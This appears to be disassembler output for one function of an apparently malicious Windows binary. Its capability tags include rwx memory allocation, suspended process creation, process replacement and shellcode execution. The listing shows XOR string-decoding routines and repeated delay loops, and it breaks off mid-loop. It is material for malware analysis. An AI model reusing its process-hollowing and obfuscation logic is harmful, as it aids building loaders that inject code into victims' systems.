Function at 0x401770
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43225b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x410
push esi
mov dword [ebp - 0x4c], ecx
xor ecx, ecx
push edi
mov dword [ebp - 0x58], 0
call fcn.00401720
push eax
call fcn.00423cd2
xor ecx, ecx
mov byte [ebp - 0x2c], 0x2a
mov byte [ebp - 0x2b], 0x2b
mov byte [ebp - 0x2a], 0x2a
mov byte [ebp - 0x29], 0x2d
mov byte [ebp - 0x28], 0x2a
call fcn.00401720
push eax
call fcn.00423cd2
add esp, 8
xor eax, eax
mov dword [ebp - 0x30], eax
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x401816
sub eax, 1
je 0x401816
sub eax, 2
jne 0x40181b
call fcn.00423cb1
sub esi, 1
jne 0x401805
sub dword [ebp - 0x18], 1
jne 0x401800
sub dword [ebp - 0x1c], 1
jne 0x4017f0
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x4017e4
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x401876
sub eax, 1
je 0x401876
sub eax, 2
jne 0x40187b
call fcn.00423cb1
sub esi, 1
jne 0x401865
sub dword [ebp - 0x18], 1
jne 0x401860
sub dword [ebp - 0x1c], 1
jne 0x401850
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x401840
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x4018d6
sub eax, 1
je 0x4018d6
sub eax, 2
jne 0x4018db
call fcn.00423cb1
sub esi, 1
jne 0x4018c5
sub dword [ebp - 0x18], 1
jne 0x4018c0
sub dword [ebp - 0x1c], 1
jne 0x4018b0
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x4018a0
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x401936
sub eax, 1
je 0x401936
sub eax, 2
jne 0x40193b
call fcn.00423cb1
sub esi, 1
jne 0x401925
sub dword [ebp - 0x18], 1
jne 0x401920
sub dword [ebp - 0x1c], 1
jne 0x401910
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x401900
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x401996
sub eax, 1
je 0x401996
sub eax, 2
jne 0x40199b
call fcn.00423cb1
sub esi, 1
jne 0x401985
sub dword [ebp - 0x18], 1
jne 0x401980
sub dword [ebp - 0x1c], 1
jne 0x401970
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x401960
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x4019f6
sub eax, 1
je 0x4019f6
sub eax, 2
jne 0x4019fb
call fcn.00423cb1
sub esi, 1
jne 0x4019e5
sub dword [ebp - 0x18], 1
jne 0x4019e0
sub dword [ebp - 0x1c], 1
jne 0x4019d0
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x4019c0
lea ecx, [ebp - 0x32]
mov byte [ebp - 0x32], 0
call fcn.00408b50
mov edi, eax
cmp byte [edi + 9], 0
jne 0x401a98
xor edx, edx
nop
mov ecx, dword [edi + 4]
mov esi, dword [edi]
lea eax, [ecx + 1]
cmp esi, eax
jne 0x401a48
inc cl
lea eax, [edi + edx]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401a30
lea eax, [ecx + 2]
cmp esi, eax
jne 0x401a5c
add cl, 2
lea eax, [edi + edx]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401a30
cmp esi, ecx
je 0x401a88
lea eax, [ecx + 4]
cmp esi, eax
jne 0x401a74
add cl, 3
lea eax, [edi + edx]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401a30
lea eax, [ecx + 5]
cmp esi, eax
jne 0x401a92
add cl, 4
lea eax, [edi + edx]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401a30
mov al, dl
lea ecx, [edi + edx]
add al, 0x76
xor byte [ecx + 0xa], al
inc edx
cmp edx, 0x39
jb 0x401a30
lea eax, [edi + 0xa]
mov byte [edi + 9], 1
push eax
lea ecx, [ebp - 0x108]
call fcn.004013f0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x33]
mov byte [ebp - 0x33], 0
call fcn.00408c00
mov edi, eax
cmp byte [edi + 9], 0
jne 0x401b30
xor edx, edx
mov ecx, dword [edi + 4]
mov esi, dword [edi]
lea eax, [ecx + 1]
cmp esi, eax
jne 0x401ae0
inc cl
lea eax, [edi + edx]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401ac8
lea eax, [ecx + 2]
cmp esi, eax
jne 0x401af4
add cl, 2
lea eax, [edi + edx]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401ac8
cmp esi, ecx
je 0x401b20
lea eax, [ecx + 4]
cmp esi, eax
jne 0x401b0c
add cl, 3
lea eax, [edi + edx]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401ac8
lea eax, [ecx + 5]
cmp esi, eax
jne 0x401b2a
add cl, 4
lea eax, [edi + edx]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401ac8
mov al, dl
lea ecx, [edi + edx]
add al, 0x76
xor byte [ecx + 0xa], al
inc edx
cmp edx, 0x3a
jb 0x401ac8
lea eax, [edi + 0xa]
mov byte [edi + 9], 1
push eax
lea ecx, [ebp - 0xf0]
call fcn.004013f0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x34], 0
call fcn.00408cb0
mov edi, eax
cmp byte [edi + 9], 0
jne 0x401bc8
xor edx, edx
nop dword [eax]
mov ecx, dword [edi + 4]
mov esi, dword [edi]
lea eax, [ecx + 1]
cmp esi, eax
jne 0x401b78
inc cl
lea eax, [edi + edx]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401b60
lea eax, [ecx + 2]
cmp esi, eax
jne 0x401b8c
add cl, 2
lea eax, [edi + edx]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401b60
cmp esi, ecx
je 0x401bb8
lea eax, [ecx + 4]
cmp esi, eax
jne 0x401ba4
add cl, 3
lea eax, [edi + edx]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401b60
lea eax, [ecx + 5]
cmp esi, eax
jne 0x401bc2
add cl, 4
lea eax, [edi + edx]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401b60
mov al, dl
lea ecx, [edi + edx]
add al, 0x77
xor byte [ecx + 0xa], al
inc edx
cmp edx, 0x3a
jb 0x401b60
lea eax, [edi + 0xa]
mov byte [edi + 9], 1
push eax
lea ecx, [ebp - 0xd8]
call fcn.004013f0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x35]
mov byte [ebp - 0x35], 0
call fcn.00408d60
mov edi, eax
cmp byte [edi + 9], 0
jne 0x401c5d
xor edx, edx
mov ecx, dword [edi + 4]
mov esi, dword [edi]
lea eax, [ecx + 1]
cmp esi, eax
jne 0x401c0d
inc cl
lea eax, [edx + edi]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401bf5
lea eax, [ecx + 2]
cmp esi, eax
jne 0x401c21
add cl, 2
lea eax, [edx + edi]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401bf5
cmp esi, ecx
je 0x401c4d
lea eax, [ecx + 4]
cmp esi, eax
jne 0x401c39
add cl, 3
lea eax, [edx + edi]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401bf5
lea eax, [ecx + 5]
cmp esi, eax
jne 0x401c57
add cl, 4
lea eax, [edx + edi]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x401bf5
mov al, dl
lea ecx, [edx + edi]
add al, 0x77
xor byte [ecx + 0xa], al
inc edx
cmp edx, 0x39
jb 0x401bf5
lea eax, [edi + 0xa]
mov byte [edi + 9], 1
push eax
lea ecx, [ebp - 0xc0]
call fcn.004013f0
lea eax, [ebp - 0xa8]
mov dword [ebp - 4], 3
push eax
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x74]
call fcn.0041fc50
lea ecx, [ebp - 0x4d]
mov esi, eax
call fcn.0041fc40
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x6c]
push dword [esi]
call fcn.0041fc80
push fcn.00401360
push 4
push 0x18
lea eax, [ebp - 0x108]
mov byte [ebp - 4], 5
push eax
call fcn.0042046b
xor eax, eax
mov dword [ebp - 0x30], eax
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x401cf6
sub eax, 1
je 0x401cf6
sub eax, 2
jne 0x401cfb
call fcn.00423cb1
sub esi, 1
jne 0x401ce5
sub dword [ebp - 0x18], 1
jne 0x401ce0
sub dword [ebp - 0x1c], 1
jne 0x401cd0
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x401cc3
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x401d56
sub eax, 1
je 0x401d56
sub eax, 2
jne 0x401d5b
call fcn.00423cb1
sub esi, 1
jne 0x401d45
sub dword [ebp - 0x18], 1
jne 0x401d40
sub dword [ebp - 0x1c], 1
jne 0x401d30
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x401d20
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x401db6
sub eax, 1
je 0x401db6
sub eax, 2
jne 0x401dbb
call fcn.00423cb1
sub esi, 1
jne 0x401da5
sub dword [ebp - 0x18], 1
jne 0x401da0
sub dword [ebp - 0x1c], 1
jne 0x401d90
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x401d80
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x401e16
sub eax, 1
je 0x401e16
sub eax, 2
jne 0x401e1b
call fcn.00423cb1
sub esi, 1
jne 0x401e05
sub dword [ebp - 0x18], 1
jne 0x401e00
sub dword [ebp - 0x1c], 1
jne 0x401df0
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x401de0
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x401e76
sub eax, 1
je 0x401e76
sub eax, 2
jne 0x401e7b
call fcn.00423cb1
sub esi, 1
jne 0x401e65
sub dword [ebp - 0x18], 1
jne 0x401e60
sub dword [ebp - 0x1c], 1
jne 0x401e50
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x401e40
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x401ed6
sub eax, 1
je 0x401ed6
sub eax, 2
jne 0x401edb
call fcn.00423cb1
sub esi, 1
jne 0x401ec5
sub dword [ebp - 0x18], 1
jne 0x401ec0
sub dword [ebp - 0x1c], 1
jne 0x401eb0
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x401ea0
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x401f36
sub eax, 1
je 0x401f36
sub eax, 2
jne 0x401f3b
call fcn.00423cb1
sub esi, 1
jne 0x401f25
sub dword [ebp - 0x18], 1
jne 0x401f20
sub dword [ebp - 0x1c], 1
jne 0x401f10
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x401f00
call fcn.00423cb1
xor eax, eax
mov dword [ebp - 0x30], eax
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x401f96
sub eax, 1
je 0x401f96
sub eax, 2
jne 0x401f9b
call fcn.00423cb1
sub esi, 1
jne 0x401f85
sub dword [ebp - 0x18], 1
jne 0x401f80
sub dword [ebp - 0x1c], 1
jne 0x401f70
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x401f62
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x401ff6
sub eax, 1
je 0x401ff6
sub eax, 2
jne 0x401ffb
call fcn.00423cb1
sub esi, 1
jne 0x401fe5
sub dword [ebp - 0x18], 1
jne 0x401fe0
sub dword [ebp - 0x1c], 1
jne 0x401fd0
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x401fc0
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x402056
sub eax, 1
je 0x402056
sub eax, 2
jne 0x40205b
call fcn.00423cb1
sub esi, 1
jne 0x402045
sub dword [ebp - 0x18], 1
jne 0x402040
sub dword [ebp - 0x1c], 1
jne 0x402030
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x402020
lea ecx, [ebp - 0x36]
mov byte [ebp - 0x36], 0
call fcn.00408e10
mov edi, eax
cmp byte [edi + 9], 0
jne 0x4020f8
xor edx, edx
nop
mov ecx, dword [edi + 4]
mov esi, dword [edi]
lea eax, [ecx + 1]
cmp esi, eax
jne 0x4020a8
inc cl
lea eax, [edi + edx]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x402090
lea eax, [ecx + 2]
cmp esi, eax
jne 0x4020bc
add cl, 2
lea eax, [edi + edx]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x402090
cmp esi, ecx
je 0x4020e8
lea eax, [ecx + 4]
cmp esi, eax
jne 0x4020d4
add cl, 3
lea eax, [edi + edx]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x402090
lea eax, [ecx + 5]
cmp esi, eax
jne 0x4020f2
add cl, 4
lea eax, [edi + edx]
xor byte [eax + 0xa], cl
inc dword [edi]
jmp 0x402090
mov al, dl
lea ecx, [edi + edx]
add al, 0x78
xor byte [ecx + 0xa], al
inc edx
cmp edx, 0x18
jb 0x402090
lea eax, [edi + 0xa]
mov byte [edi + 9], 1
push eax
lea ecx, [ebp - 0x8c]
call fcn.004013f0
push eax
lea ecx, [ebp - 0xa4]
call fcn.004013b0
lea ecx, [ebp - 0x8c]
mov dword [ebp - 4], 8
call fcn.00401360
lea ecx, [ebp - 0x8c]
call fcn.00401450
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x402176
sub eax, 1
je 0x402176
sub eax, 2
jne 0x40217b
call fcn.00423cb1
sub esi, 1
jne 0x402165
sub dword [ebp - 0x18], 1
jne 0x402160
sub dword [ebp - 0x1c], 1
jne 0x402150
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x402140
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x4021d6
sub eax, 1
je 0x4021d6
sub eax, 2
jne 0x4021db
call fcn.00423cb1
sub esi, 1
jne 0x4021c5
sub dword [ebp - 0x18], 1
jne 0x4021c0
sub dword [ebp - 0x1c], 1
jne 0x4021b0
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x4021a0
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x402236
sub eax, 1
je 0x402236
sub eax, 2
jne 0x40223b
call fcn.00423cb1
sub esi, 1
jne 0x402225
sub dword [ebp - 0x18], 1
jne 0x402220
sub dword [ebp - 0x1c], 1
jne 0x402210
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x402200
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x402296
sub eax, 1
je 0x402296
sub eax, 2
jne 0x40229b
call fcn.00423cb1
sub esi, 1
jne 0x402285
sub dword [ebp - 0x18], 1
jne 0x402280
sub dword [ebp - 0x1c], 1
jne 0x402270
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x402260
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x4022f6
sub eax, 1
je 0x4022f6
sub eax, 2
jne 0x4022fb
call fcn.00423cb1
sub esi, 1
jne 0x4022e5
sub dword [ebp - 0x18], 1
jne 0x4022e0
sub dword [ebp - 0x1c], 1
jne 0x4022d0
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x4022c0
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x402356
sub eax, 1
je 0x402356
sub eax, 2
jne 0x40235b
call fcn.00423cb1
sub esi, 1
jne 0x402345
sub dword [ebp - 0x18], 1
jne 0x402340
sub dword [ebp - 0x1c], 1
jne 0x402330
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x402320
lea ecx, [ebp - 0xa4]
call fcn.0041fd90
mov dword [ebp - 0x54], eax
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax + eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x4023c6
sub eax, 1
je 0x4023c6
sub eax, 2
jne 0x4023cb
call fcn.00423cb1
sub esi, 1
jne 0x4023b5
sub dword [ebp - 0x18], 1
jne 0x4023b0
sub dword [ebp - 0x1c], 1
jne 0x4023a0
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x402390
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x402426
sub eax, 1
je 0x402426
sub eax, 2
jne 0x40242b
call fcn.00423cb1
sub esi, 1
jne 0x402415
sub dword [ebp - 0x18], 1
jne 0x402410
sub dword [ebp - 0x1c], 1
jne 0x402400
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 5
jl 0x4023f0
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
movsx edi, byte [ebp + eax - 0x2c]
mov dword [ebp - 0x1c], 0xa
nop dword [eax]
mov dword [ebp - 0x18], 0xa
nop word [eax + eax]
mov esi, 0xa
mov eax, edi
sub eax, 0x2a
je 0x402486
sub eax, 1
je 0x402486
sub eax, 2
jne 0x40248b
call fcn.00423cb1
sub esi, 1
jne 0x402475
sub dword [ebp - 0x18], 1
jne 0x402470
sub dword [ebp - 0x1c], 1
jne 0x402460